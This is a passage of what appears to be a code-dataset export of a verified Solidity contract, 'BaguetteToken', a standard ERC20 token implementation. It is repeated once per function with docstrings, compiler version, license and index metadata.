* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
3628,
3950
]
} | 11,271 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | increaseAllowance | function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
4354,
4573
]
} | 11,272 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | decreaseAllowance | function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
5071,
5341
]
} | 11,273 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | _transfer | function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
5826,
6310
]
} | 11,274 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | _mint | function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
6586,
6907
]
} | 11,275 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
